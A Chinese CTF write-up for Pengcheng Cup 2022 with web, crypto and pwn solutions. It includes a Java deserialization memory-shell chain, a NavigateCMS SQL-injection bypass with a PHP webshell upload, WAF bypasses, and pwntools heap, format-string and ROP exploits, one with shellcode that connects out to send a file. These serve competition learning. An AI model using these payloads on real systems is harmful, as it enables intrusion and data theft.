鹏城杯

鹏城杯2022 Writeup by X1cT34m-小绿草信息安全实验室

WEB

Ez_Java

打内存马就行

package com.java.payloads;

import com.java.tools.Tools;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.annotation.Generated;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.security.*;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class UNIX {
    public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void main(String[] args) throws Exception {
        HashMap<Object, Object> hashMap = new HashMap<>();
        TemplatesImpl obj = new TemplatesImpl();
        InputStream inputStream = Poc.class.getResourceAsStream("Spring.class");
        byte[]      code       = new byte[inputStream.available()];
        inputStream.read(code);

        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator1 = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue1 = new PriorityQueue<Object>(2, comparator1);

        queue1.add("1");
        queue1.add("1");

        setFieldValue(comparator1, "property", "outputProperties");
        setFieldValue(queue1, "queue", new Object[]{obj, obj});

        KeyPairGenerator dsa = KeyPairGenerator.getInstance("DSA");
        dsa.initialize(1024);
        KeyPair keyPair = dsa.generateKeyPair();
        PrivateKey aPrivate = keyPair.getPrivate();
        Signature dsa1 = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(queue1, aPrivate, dsa1);
        BeanComparator object = new BeanComparator("object");
        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add("1");
        priorityQueue.add("2");
        Field queue = PriorityQueue.class.getDeclaredField("queue");
        queue.setAccessible(true);
        Object[] o = (Object []) queue.get(priorityQueue);
        o[0] = signedObject;
        Field comparator = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue, object);
        byte[] serialize = Tools.serialize(priorityQueue);

        System.out.println(Tools.base64Encode(serialize));
    }
}

what_is_log

sysdig -r flag2.scap evt.type=write |grep success

高手高手高手

NavigateCMSv2.8
有历史漏洞,万能密码绕过加任意文件写入,git泄露的代码改了部分逻辑

login.php cookie:navigate-user=\' or TRUE #

POST /Navigate_upload.php?session_id=qfcmcbhl3akmsge470kjfl8io7&id=....//....//....//Navigate_info.php&engine=picnik

Content-Type: multipart/form-data;boundary=a;
Content-Length: 139

--a
Content-Disposition:form-data;name="file";filename="navigate_info.php"
Content-Type: image/png

<?php eval($_POST[0]);?>
--a--

写入马之后发现要提权,看了看pkexec,在漏洞版本,所以直接用pkexec的提权cve直接打就可以了,把bocai.png权限取消,删除,运行那个可执行文件即可

ZIP

p神提到过的phpzip解药绕过,直接制作一个压缩文件,里面2个文件,一个为一句话,然后直接通过010修改压缩包,导致解压失败即可

import hashlib
import base64
import requests
def md5_encrypt(text):
    m5 = hashlib.md5()
    if type(text)!=bytes:
        text = text.encode(encoding='utf-8')
    m5.update(text)
    value = m5.hexdigest()
    return value
f = open("shell.zip","rb")
url = "http://192.168.1.110:8521/"
proxu = {"http":"http://127.0.0.1:8081"}
contents = base64.encodebytes(f.read()).strip()
#print(contents)
a= "/tmp/"+md5_encrypt(contents)
b = md5_encrypt(a)
print(b)
data={"content":contents}
r = requests.post(url=url,data=data,proxies=proxu)
r1 = requests.get(url=url+"/static/upload/"+b+"/1.php")
print(r1.status_code)

print(r.text)

简单的php

无参数rce,二维数组构造字符串,取反绕过
system(end(getallheaders()));
改造为
[~%8C%86%8C%8B%9A%92]!%FF);
在header最后加一个cookie字段获取flag

easygo

打开附件 发现github地址 找到poc
https://github.com/KaanSK/golang-sqli-challenge/blob/main/SOLUTION.MD

简单包含

通过2次boundary直接绕过waf逻辑

Host: 192.168.1.113
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.113/
Content-Type: multipart/form-data;boundary=a;boundary=b;
Content-Length: 284

--b
Content-Disposition: form-data; name="fla"; filename="a.png"
Content-Type: image/png

1
--a
Content-Disposition: form-data; name="flag";
Content-Type: application/x-www-form-urlencoded

php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php
--a--
--b--

CRYPTO

babyrsa

长安杯2021checkin原题。思路就是估计一下k的比特在4-6的样子,然后爆破,把满足条件的n选出来,分解得到p、q,然后威尔逊打一下就行了。原题就不贴exp了,网上都有。

easy_rsa

三个部分,第一个e、phi不互素
第二个已知p高位
第三个的c和n有p公因子

from Crypto.Util.number import *
from gmpy2 import *
c=0x27455f081e4858790c6503580dad3302ae359c9fb46dc601eee98f05142128404e95377324720adbbdebf428549008bcd1b670f6749592a171b30316ab707004b9999f3b80de32843afdfd30505b1f4166a03cee9fc48902b74b6e850cfd268e6917c5d84e64f7e7cd0e4a30bfe5903fb5d821d27fdc817d9c4536a8e7aea55af266abcae857a8ffff2f741901baba1b44091a137c69c471c123ab0b80e250e055959c468e6e37c005105ecd7c8b48c659024e5e251df3eeff5da7b3d561cd98150da3575a16bee5f2524d2795fd4879487018345c1e96efc085ed45fb5f02c027aee5bca3aad0eb3e23376c0cd18b02fb05a1ff8fb1af0a3ce4bb671599894e
p=0xbb602e402b68a5cfcc5cfcc63cc82e362e98cb7043817e3421599a4bb8755777c362813742852dad4fec7ec33f1faec04926f0c253f56ab4c4dde6d71627fbc9ef42425b70e5ecd55314e744aa66653103b7d1ba86d1e0e21920a0bfe7d598bd09c3c377a3268928b953005450857c6cfea5bfdd7c16305baed0f0a31ad688bd
q=0xbb8d1ea24a3462ae6ec28e79f96a95770d726144afc95ffffa19c7c3a3786a6acc3309820ba7b1a28a4f111082e69e558b27405613e115139b38e799c723ab7fdd7be14b330b118ae60e3b44483a4c94a556e810ab94bbb102286d0100d7c20e7494e20e0c1030e016603bd2a06c1f6e92998ab68e2d420faf47f3ee687fb6d1
e = 0x292//2
phi = (p-1)*(q-1)
print(gcd(e, phi))
m = pow(c, invert(e, phi), p*q)
# print(long_to_bytes(m))
for i in range(10000):
    if iroot(m + i*p*q,2)[1]:
        print(long_to_bytes(iroot(m + i*p*q,2)[0]))
# PCL{16745c3b

from Crypto.Util.number import *
c=0x3a80caebcee814e74a9d3d81b08b1130bed6edde2c0161799e1116ab837424fbc1a234b9765edfc47a9d634e1868105d4458c9b9a0d399b870adbaa2337ac62940ade08daa8a7492cdedf854d4d3a05705db3651211a1ec623a10bd60596e891ccc7b9364fbf2e306404aa2392f5598694dec0b8f7efc66e94e3f8a6f372d833941a2235ebf2fc77c163abcac274836380045b63cc9904d9b13c0935040eda6462b99dd01e8230fdfe2871124306e7bca5b356d16796351db37ec4e574137c926a4e07a2bfe76b9cbbfa4b5b010d678804df3e2f23b4ec42b8c8433fa4811bf1dc231855bea4225683529fad54a9b539fe824931b4fdafab67034e57338217f
p=0xa9cb9e2eb43f17ad6734356db18ad744600d0c19449fc62b25db7291f24c480217d60a7f87252d890b97a38cc6943740ac344233446eea4084c1ba7ea5b7cf2399d42650b2a3f0302bab81295abfd7cacf248de62d3c63482c5ea8ab6b25cdbebc83eae855c1d07a8cf0408c2b721e43c4ac53262bf9aaf7a000000000000000
e=0x10001
n=0x841a5a012c104e600eca17b451d5fd37c063ad347707a2e88f36a07e9ad4687302790466e99f35b11580cbe8b0a212e6709686c464a6393c5895b1f97885f23ea12d2069eb6dc3cb4199fb8c6e80a4a94561c6c3499c3c02d9dc9cf216c0f44dc91701a6d9ec89981f261a139500420a51014492f1da588a26e761439dd5739b32540ca6dc1ec3b035043bc535304a06ccb489f72fcd1aa856e1cffe195039176937f9a16bd19030d1e00095f1fd977cf4f23e47b55650ca4712d1eb089d92df032e5180d05311c938a44decc6070cd01af4c6144cdab2526e5cb919a1828bec6a4f3332bf1fa4f1c9d3516fbb158fd4fbcf8b0e67eff944efa97f5b24f9aa65

pbits = 1024
kbits = 60
print ("upper %d bits (of %d bits) is given" % (pbits-kbits, pbits))
PR.<x> = PolynomialRing(Zmod(n))
f = x + p
x0 = f.small_roots(X=2^kbits, beta=0.1)
p=p+int(x0[0])
q= n//p
d=inverse(e,(p-1)*(q-1))
print(long_to_bytes(int(pow(c,d,n))))
#0c134c83b74f

from Crypto.Util.number import *
c=0x1bd2a47a5d275ba6356e1e2bd10d6c870693be540e9318c746e807a7672f3a75cc63841170126d7dba52d7f6f9cf0f8dce9705fc1785cc670b2658b05d4b24d8918f95594844bfa920c8ffe73160c2c313b3fdbc4541ec19828165e34afa7d05271cc6fd59d08138b88c11677e6ac3b39cff525dcb19694b0388d895f53805a5e5bd8cfb947080e4855aaf83ebd85a397526f7d76d26031386900cb44a2e4bd121412bcee7a6c1e9af411e234f130e68a428596265d3ec647e50f65cb81393f4bd38389a2b9010fd715582506b9054dc235aced50757462b77a5606f116853af0c1ea3c7cf0d304f885d86081f8bac8b67b0625122f75448c5b6eb8f1cc8a0df
n=0xc2b17c86a8950f6dafe0a633890e4271cfb20c5ffda2d6b3d035afa655ed05ec16c67b18832ed887f2cea83056af079cc75c2ce43c90cce3ed02c2e07d256f240344f1734adeee6dc2b3b4bbf6dcfc68518d0a74e3e66f1865db95ef4204457e6471903c2321ac97f3b8e3d8d935896e9fc9145a30a3e24e7c320490a9944c1e94d301c8388445532699e6189f4aa6a86f67f1d9b8fb0de4225e005bd27594cd33e36622b2cd8eb2781f0c24d33267d9f29309158942b681aab81f39d1b4a73bd17431b46a89a0e4c2c58b1e24e850355c63b72392600d3fff7a16f6ef80ea515709da3ef1d28782882b0dd2f76bf609590db31979c5d1fd03f75d9d8f1c5069
e=0x10001
p = GCD(c,n)
q = n//p
d = inverse(e,(p-1)*(q-1))
m=pow(c,d,n)
m=m//(p*2022*1011)
print(long_to_bytes(m))
#977260aae9b5}

PWN

one

from pwn import*
import random
r=remote("192.168.1.106",9999)
#r=remote("127.0.0.1",9999)
#r=process('./pwn')
context(os="linux",arch="amd64",log_level='debug')

libc=ELF("./libc-2.31.so")

#libc_base=r.libs()["/home/kagehutatsu/Program/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so"]
#stdout=libc_base+libc.sym["_IO_2_1_stdout_"]
#bit=stdout%0x10000
#bit=bit//0x100
bit=random.randint(1,15)*0x10+0x6
#bit=0xd6
print hex(bit)
if (bit-0x10<0): bit=bit+0xf0

r.recvuntil(":")
stack=int(r.recvline(),16)
success("stack: "+hex(stack))

r.recvuntil(":")
r.send("a"*0x8)
r.recvuntil(":")
r.send("a"*0x8)

r.recvuntil("a"*0x8)
pie=u64(r.recvuntil("\n",drop=True)+p16(0))-0x11a0
success("pie: "+hex(pie))

start=pie+0x11a0

off=[0x10,bit+1]
ptr=[stack-0x80,stack-0x7F]

tmp=start
for i in range(6):
    off.append(tmp%0x100)
    ptr.append(stack-0x1c8+i)
    tmp=tmp//0x100

r.recvline()
r.send(fmtstr_payload(6, {stack-0xe8:pie+0x11a0}).ljust(0x200,"\x00"))

r.send("a"*0x8)
r.send("a"*0x8)

pre=0
fmt=""
data=""

for step in range (8):
    min_num=0xFFFF
    for i in range (len(off)):
        if (off[i]<min_num):
            min_num=off[i]
            min_idx=i
    fmt+="%"+str(min_num-pre)+"c%"+str(step+22)+"$hhn"
    data+=p64(ptr[min_idx])
    off[min_idx]=0xFF
    pre=min_num

r.send((fmt.ljust(0x80,"\x00")+data).ljust(0x200,"\x00"))

r.send("a"*0x8)
r.send("a"*0x8)
#gdb.attach(r)
r.send("%2c%334$hhn;%334$p".ljust(0x18)+fmtstr_payload(9, {stack-0x2a8:pie+0x11a0}, numbwritten=0x17))

r.recvuntil(";")
libc_base=int(r.recv(14),16)-libc.sym["_IO_2_1_stdout_"]-112
success("libc_base: "+hex(libc_base))

add_rsp=libc_base+0x24242
pop_rax=libc_base+0x36174
pop_rdi=pie+0x1543
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x142c92

payload=""
payload+=p64(pop_rdi)+p64(stack-0xb20)+p64(pop_rsi)+p64(0)+p64(libc_base+libc.sym["open"])
payload+=p64(pop_rdi)+p64(stack-0xb20)+p64(pop_rsi)+p64(0)+p64(libc_base+libc.sym["open"])
payload+=p64(pop_rdi)+p64(stack-0xb20)+p64(pop_rsi)+p64(0)+p64(libc_base+libc.sym["open"])
payload+=p64(pop_rdi)+p64(stack-0xb20)+p64(pop_rsi)+p64(0)+p64(libc_base+libc.sym["open"])
payload+=p64(pop_rdi)+p64(stack-0xb20)+p64(pop_rsi)+p64(0)+p64(libc_base+libc.sym["open"])
payload+=p64(pop_rdi)+p64(stack-0xb20)+p64(pop_rsi)+p64(0)+p64(libc_base+libc.sym["open"])
payload+=p64(pop_rdi)+p64(4)+p64(pop_rsi)+p64(libc_base+libc.sym["environ"])+p64(pop_rdx)+p64(0x50)+p64(libc_base+libc.sym["read"])
payload+=p64(pop_rdi)+p64(2)+p64(libc_base+libc.sym["write"])

r.recvuntil(":")
r.send("a"*0x8)
r.recvuntil(":")
r.send("a"*0x8)
r.recvline()
r.recvline()

r.send(fmtstr_payload(6, {stack-0xba8:add_rsp}).ljust(0x80,"\x00")+"flag.txt".ljust(0x18,"\x00")+payload)

r.interactive()

A_fruit

from pwn import*
import os
r=remote("192.168.1.105",8888)
#r=process('./A_fruit')
context.log_level='debug'

libc=ELF("./libc-2.33.so")

def new(size):
    r.recvuntil("5.Exit\n")
    r.sendline("1")
    r.recvline()
    r.sendline(str(size))

def edit(idx,content):
    r.recvuntil("5.Exit\n")
    r.sendline("2")
    r.recvline()
    r.sendline(str(idx))
    r.recvuntil(":")
    r.send(content)

def show(idx):
    r.recvuntil("5.Exit\n")
    r.sendline("3")
    r.recvline()
    r.sendline(str(idx))

def delete(idx):
    r.recvuntil("5.Exit\n")
    r.sendline("4")
    r.recvline()
    r.sendline(str(idx))

def rol(num,shift):
    for i in range(shift):
        num=(num<<0x1)&0xFFFFFFFFFFFFFFFF+(num&0x8000000000000000)
    return num

def exit():
    r.recvuntil("5.Exit\n")
    r.sendline("5")

new(0x428)
new(0x418)
new(0x418)
new(0x418)
new(0x458)
new(0x418)
new(0x448)
new(0x418)
new(0x488)
new(0x418)
new(0x478)
new(0x418)
new(0x4c8)
new(0x418)
new(0x4b8)
new(0x418)
new(0x508)
new(0x418)
new(0x4f8)
new(0x418)
delete(0)
show(0)

num1=int(r.recvline(),16)
num2=int(r.recvline(),16)

con=os.popen("./libc_base "+str(num1)+" "+str(num2))
libc_base=int(con.read(),16)-0x1e0c00
con.close()
success("libc_base: "+hex(libc_base))

IO_list_all=libc_base+libc.sym["_IO_list_all"]
environ=libc_base+libc.sym["environ"]
tls=libc_base-0x2890
#tls=libc_base+0x1c6570
top_chunk=libc_base+0x1e0c00
__printf_arginfo_table=libc_base+0x1eb218
__printf_function_table=libc_base+0x1e35c8
IO_cleanup=libc_base+0x8ef80
_IO_cookie_jumps=libc_base+0x1e1a20
gadget=libc_base+0x14a0a0
setcontext=libc_base+libc.sym["setcontext"]
mp=libc_base+0x1e02d0
#0x000000000014a0a0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
pop_rdi=libc_base+0x28a55
pop_rsi=libc_base+0x2a4cf
pop_rdx=libc_base+0xc7f32

delete(2)
show(2)

num1=int(r.recvline(),16)
num2=int(r.recvline(),16)

con=os.popen("./heap "+str(num1)+" "+str(num2))
heap=int(con.read(),16)-0x290
con.close()
success("heap: "+hex(heap))

fake_IO_struct=""
fake_IO_struct=fake_IO_struct.ljust(0x18,"\x00")
fake_IO_struct+=p64(1)
fake_IO_struct=fake_IO_struct.ljust(0xc8,"\x00")
fake_IO_struct+=p64(_IO_cookie_jumps+0x60)
fake_IO_struct=fake_IO_struct.ljust(0xd0,"\x00")
fake_IO_struct+=p64(heap+0x6d0)
fake_IO_struct=fake_IO_struct.ljust(0xe0,"\x00")
fake_IO_struct+=p64(rol(gadget^(heap+0xae0),0x11))

payload=p64(0)+p64(heap+0x6d0)+p64(0)*2+p64(setcontext+61)
payload=payload.ljust(0xa0,"\x00")
payload+=p64(heap+0x6d0+0xa8)
payload+=p64(pop_rdi)+p64(pop_rdi)+p64(heap+0x7f8)+p64(pop_rsi)+p64(0)+p64(libc_base+libc.sym["open"])
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap)+p64(pop_rdx)+p64(0x50)+p64(libc_base+libc.sym["read"])
payload+=p64(pop_rdi)+p64(1)+p64(libc_base+libc.sym["write"])+"flag"

edit(1,payload)

new(0x418)
edit(0,p64(libc_base+0x1e0ff0)+p64(libc_base+0x1e0ff0)+p64(heap+0x290)+p64(environ-0x20))

delete(2)
new(0x5E8)
delete(4)
new(0x5E8)
edit(4,p64(libc_base+0x1e0ff0)+p64(libc_base+0x1e0ff0)+p64(heap+0x1320)+p64(environ-0x20))

delete(6)
new(0x5E8)

edit(6,fake_IO_struct)

delete(8)
new(0x5E8)
edit(8,p64(libc_base+0x1e0ff0)+p64(libc_base+0x1e0ff0)+p64(heap+0x1320)+p64(environ-0x20))

delete(10)
new(0x5E8)

delete(12)
new(0x5E8)
edit(12,p64(libc_base+0x1e0ff0)+p64(libc_base+0x1e0ff0)+p64(heap+0x1320)+p64(mp-0x20))

delete(14)
new(0x5E8)

delete(16)
edit(0,"\x00"*0x68+p64(libc_base+libc.sym["__free_hook"]))

new(0x508)

edit(28,p64(gadget))

#gdb.attach(r,"b _IO_cookie_write")

delete(1)

r.interactive()

ezthree

from pwn import*
#r=remote("127.0.0.1",9999)
r=remote("192.168.1.101",9999)
#r=process('./ezthree')
context(os="linux",arch="amd64",log_level='debug')

def ret():
    r.recvuntil("> ")
    r.sendline("ret")

def jmp(content):
    r.recvuntil("> ")
    r.sendline("jmp")
    r.sendline(str(content))

def movrax(content):
    r.recvuntil("> ")
    r.sendline("movrax")
    r.sendline(str(content))

def nop():
    r.recvuntil("> ")
    r.sendline("nop")

def zero():
    r.recvuntil("> ")
    r.sendline("zero")

shellcode=asm("""
        mov rax, 41
        mov rdi, 2
        mov rsi, 1
        mov rdx, 6
        syscall
        push 0
        mov rcx, 0x6001c0bd2040002
        mov r8, 0x000000100000000
        sub rcx, r8
        push rcx
        mov rsi, rsp
        xor rdi, rdi
        mov rax, 42
        mov rdx, 0x10
        syscall
        jmp $+0x32
    """)

shellcode+="b"*0x30

shellcode+=asm("""
        push 0x67616c66
        mov rax, 2
        xor rdx, rdx
        mov rdi, rsp
        xor rsi, rsi
        syscall

        xor rdi, rdi
        xchg rdi, rax
        mov rsi, rsp
        mov rdx, 0x50
        syscall

        xor rdi, rdi
        mov rax, 1
        syscall

    """)

r.recvuntil(">> ")
r.sendline(shellcode+"a"*0x20)

r.recvuntil("> ")
#gdb.attach(r, "b *$rebase(0x185E)")
r.sendline("aaaa")

shell=asm("""
        mov rsp, fs:[0x300]
        push 0x8
        pop rsi
        push 7
        pop rdx
        push 0xA
        pop rax
        mov rdi, rsp
        and rdi, 0xFFFFFFFFFFFFF000
        syscall
        sub rsp,0x67
        jmp rsp
    """)

r.recvline()

r.send(shell)

r.interactive()

fruitshop

from pwn import*
r=remote("192.168.1.107",8888)
#r=process('./fruitshop')
context.log_level='debug'

libc=ELF("libc-2.31.so")

def fruit(size):
    if (size==0xdd0): return "Apple"
    elif (size==0xcb0): return "Banana"
    elif (size==0xe50): return "Cherry"
    elif (size==0x110): return "Durian"

def new(size,idx,content):
    r.recvuntil("> ")
    r.sendline("1")
    r.recvline()
    r.sendline(fruit(size))
    r.recvline()
    r.sendline(str(idx))
    r.recvline()
    r.send(content)

def delete(size,idx):
    r.recvuntil("> ")
    r.sendline("4")
    r.recvline()
    r.sendline(fruit(size))
    r.recvuntil("idx:\n\x00")
    r.sendline(str(idx))

def show(size,idx):
    r.recvuntil("> ")
    r.sendline("3")
    r.recvline()
    r.sendline(fruit(size))
    r.recvuntil("idx:\n\x00")
    r.sendline(str(idx))

def edit(size,idx,content):
    r.recvuntil("> ")
    r.sendline("2")
    r.recvline()
    r.sendline(fruit(size))
    r.recvline()
    r.sendline(str(idx))
    if (size==0xdd0): time=4
    else: time=1
    for i in range(time):
        r.recvline()
        r.send(content)

new(0xcb0,0,"\n")
new(0xcb0,1,"\n")
new(0xcb0,2,"\n")
new(0xcb0,3,"\n")
delete(0xcb0,0)
show(0xcb0,0)
r.recvuntil("Content is")
libc_base=u64(r.recv(6)+p16(0))-libc.sym['__malloc_hook']-0x70
success("libc_base: "+hex(libc_base))
mp=libc_base+0x1ec2d0
new(0xcb0,0,"\n")
new(0xdd0,0,"\n")
new(0x110,0,"\n")
new(0xcb0,0,"\n")
new(0x110,0,"\n")
delete(0xdd0,0)
new(0xe50,0,"\n")
delete(0xcb0,0)
edit(0xdd0,0,"\x00"*0x18+p64(mp-0x20))
new(0x110,0,"\n")
delete(0xcb0,1)
delete(0xcb0,2)
delete(0xcb0,3)
edit(0xcb0,3,p64(libc_base+libc.sym['__free_hook']))
new(0xcb0,0,'/bin/sh')
new(0xcb0,1,p64(libc_base+libc.sym['system']))
#gdb.attach(r)
delete(0xcb0,0)

r.interactive()

raindow_cat

from pwn import*
context(os='linux', arch='amd64')

p = process('./pwn')
#p = remote('192.168.1.102',9999)
libc = ELF('./libc-2.33.so')

def add(index):
    p.recvuntil("Your choice >> ")
    p.sendline(b'1')
    p.recvuntil("Which cat do you want to get? ")
    p.sendline(str(index))

def delete(index):
    p.recvuntil("Your choice >> ")
    p.sendline(b'2')
    p.recvuntil("Which one do you want to abandon? ")
    p.sendline(str(index))

def show(index):
    p.recvuntil("Your choice >> ")
    p.sendline(b'3')
    p.recvuntil("Choose a cat to show name: ")
    p.sendline(str(index))

def edit(index,content):    
    p.recvuntil("Your choice >> ")
    p.sendline(b'4')
    p.recvuntil("Which one?")
    p.sendline(str(index))
    p.recvuntil("Rename the cat: ")
    p.send(content)

for i in range(7):
    add(0)
add(1)
add(2)
for i in range(7):
    delete(0)
    edit(0, p64(0)*2)
delete(0)
show(0)
p.recvuntil("Name:")
heap_base = u64(p.recv(6).ljust(8, b'\x00')) << 12

edit(0, p64((heap_base+0x10)^(heap_base >> 12)))

add(0)
add(1)
for i in range(7):
    delete(1)
    edit(1, p64(8) + p64(0))
delete(1)
show(1)
p.recvuntil("Name:")
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x1e0c00

edit(1, p64(0)*2)

delete(0)
edit(0, b'a'*0x10)
delete(0)

edit(0, p64((heap_base+0x90)^(heap_base >> 12)))
add(0)
add(0)

edit(1, p64(1))
edit(0, p64(heap_base+0x2a0))
add(2)

edit(1, p64(7))
delete(2)
_IO_2_1_stderr_ = libc_base + libc.sym['_IO_2_1_stderr_']
edit(2, p64((_IO_2_1_stderr_+0x50)^(heap_base >> 12)) + p64(heap_base + 0x10))
edit(0, p64(heap_base+0x2c0))
add(2)

for i in range(0x290, 0x330, 0x20):
    edit(1, p64(7))
    delete(2)
    edit(2, p64((heap_base+i)^(heap_base >> 12)) + p64(heap_base + 0x10))
    edit(0, p64(heap_base+i+0x50))
    add(2)

edit(1, p64(7))
delete(2)
edit(2, p64((heap_base+0x330)^(heap_base >> 12)) + p64(heap_base + 0x10))
edit(1, p64(0))
edit(0, p64(0))
add(2)

edit(1, p64(1)); edit(0, p64(heap_base + 0x20)); add(2); edit(2, p64(0) + p16(0) + p16(1))
__free_hook = libc_base + libc.sym['__free_hook']
edit(1, p64(1)); edit(0, p64(heap_base + 0x90 + 0x60)); add(2); edit(2, p64(0) + p64(__free_hook))
edit(1, p64(1)); edit(0, p64(heap_base + 0x10 + 0x20)); add(2); edit(2, p64(0) + p64(0xffff))
_IO_str_jumps = libc_base + 0x1e2560
edit(1, p64(1)); edit(0, p64(heap_base + 0x10 + 0xd0)); add(2); edit(2, p64(0) + p64(_IO_str_jumps))
_IO_stdfile_2_lock = libc_base + 0x1e3660
edit(1, p64(1)); edit(0, p64(heap_base + 0x10 + 0x80)); add(2); edit(2, p64(0) + p64(_IO_stdfile_2_lock))
fake_IO_stderr_addr = heap_base + 0x10
edit(1, p64(1)); edit(0, p64(heap_base + 0x10 + 0x30)); add(2); edit(2, p64(0) + p64(fake_IO_stderr_addr + 0x100))
edit(1, p64(1)); edit(0, p64(heap_base + 0x10 + 0x40)); add(2); edit(2, p64(fake_IO_stderr_addr + 0x140) + p64(0))
magic = libc_base + 0x14a0a0
edit(1, p64(1)); edit(0, p64(heap_base + 0x10 + 0x100)); add(2); edit(2, p64(magic) + p64(heap_base + 0x10 + 0x1f0))
edit(1, p64(1)); edit(0, p64(heap_base + 0x10 + 0xf0)); add(2); edit(2, p64(0) + p64(0x21))
edit(1, p64(1)); edit(0, p64(heap_base + 0x10 + 0x110)); add(2); edit(2, p64(0) + p64(0x21))
setcontext_61 = libc_base + libc.sym['setcontext'] + 61
edit(1, p64(1)); edit(0, p64(heap_base + 0x10 + 0x210)); add(2); edit(2, p64(setcontext_61))
rop = heap_base + 0x500; ret = libc_base + 0x26699
edit(1, p64(1)); edit(0, p64(heap_base + 0x10 + 0x1f0 + 0xa0)); add(2); edit(2, p64(rop) + p64(ret))
pop_rdi_ret = libc_base + 0x28a55; pop_rsi_ret = libc_base + 0x2a4cf; pop_rdx_ret = libc_base + 0xc7f32; pop_rax_ret = libc_base + 0x44c70; syscall_ret = libc_base + 0x6105a
edit(1, p64(1)); edit(0, p64(rop+0x100)); add(2); edit(2, b'./flag\x00')
edit(1, p64(1)); edit(0, p64(rop)); add(2); edit(2, p64(pop_rdi_ret) + p64(rop+0x100))
edit(1, p64(1)); edit(0, p64(rop+0x10)); add(2); edit(2, p64(pop_rsi_ret) + p64(0))
edit(1, p64(1)); edit(0, p64(rop+0x20)); add(2); edit(2, p64(pop_rdx_ret) + p64(0))
edit(1, p64(1)); edit(0, p64(rop+0x30)); add(2); edit(2, p64(pop_rax_ret) + p64(2))
edit(1, p64(1)); edit(0, p64(rop+0x40)); add(2); edit(2, p64(syscall_ret) + p64(ret))
edit(1, p64(1)); edit(0, p64(rop+0x50)); add(2); edit(2, p64(pop_rdi_ret) + p64(3))
edit(1, p64(1)); edit(0, p64(rop+0x60)); add(2); edit(2, p64(pop_rsi_ret) + p64(rop+0x200))
edit(1, p64(1)); edit(0, p64(rop+0x70)); add(2); edit(2, p64(pop_rdx_ret) + p64(0x50))
edit(1, p64(1)); edit(0, p64(rop+0x80)); add(2); edit(2, p64(pop_rax_ret) + p64(0))
edit(1, p64(1)); edit(0, p64(rop+0x90)); add(2); edit(2, p64(syscall_ret) + p64(ret))
edit(1, p64(1)); edit(0, p64(rop+0xa0)); add(2); edit(2, p64(pop_rdi_ret) + p64(1))
edit(1, p64(1)); edit(0, p64(rop+0xb0)); add(2); edit(2, p64(pop_rsi_ret) + p64(rop+0x200))
edit(1, p64(1)); edit(0, p64(rop+0xc0)); add(2); edit(2, p64(pop_rdx_ret) + p64(0x50))
edit(1, p64(1)); edit(0, p64(rop+0xd0)); add(2); edit(2, p64(pop_rax_ret) + p64(1))
edit(1, p64(1)); edit(0, p64(rop+0xe0)); add(2); edit(2, p64(syscall_ret) + p64(ret))

edit(1, p64(1))
edit(0, p64(_IO_2_1_stderr_))
add(2)
p.interactive()

signed_rop

from socket import timeout
from pwn import *
import hashlib
import base64
import angr
import claripy

sh=remote('192.168.1.103', 9999)
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#验证码
def pass_proof():
    char_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
    sh.recvuntil("sha256(xxxx + ")
    key = sh.recvuntil(")")[:-1]
    sh.recvuntil(" == ")
    hashkey = sh.recvuntil("\n")[:-2]
    str_key = ""
    str_hashkey = ""
    for i in key:
        str_key += chr(i)
    for i in hashkey:
        str_hashkey += chr(i)
    print(str_key)
    print(str_hashkey)

    success = 0
    xxxx = ""
    for i1 in char_table:
        for i2 in char_table:
            for i3 in char_table:
                for i4 in char_table:
                    xxxx = i1 + i2 + i3 + i4 + str_key
                    s = hashlib.sha256()
                    s.update(xxxx.encode("utf-8"))
                    if s.hexdigest() == str_hashkey:
                        success = 1
                        break
                if success:
                    break
            if success:
                break
        if success:
            break

    xxxx = xxxx[:4]
    sh.sendlineafter("give me xxxx:\n", xxxx)
    base64_pwn = sh.recvuntil("==end==")[:-8]
    pwn_binary = base64.b64decode(base64_pwn)
    file = open("a.out", mode = 'wb')
    file.write(pwn_binary)
    file.flush()
    file.close()

pass_proof()

elf = ELF("a.out")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
# sh = process("./a.out")
#context(arch = 'amd64', os = 'linux', log_level = 'debug')
ret_rop = 0x400853
pop_rdi = int(os.popen('ROPgadget --binary a.out | grep \"pop rdi ; ret\"').readlines()[0][:18], 16)
print("pop rdi :", hex(pop_rdi))
print("ret_rop:", hex(ret_rop))
print("puts_got:", hex(puts_got))
print("puts_plt:", hex(puts_plt))
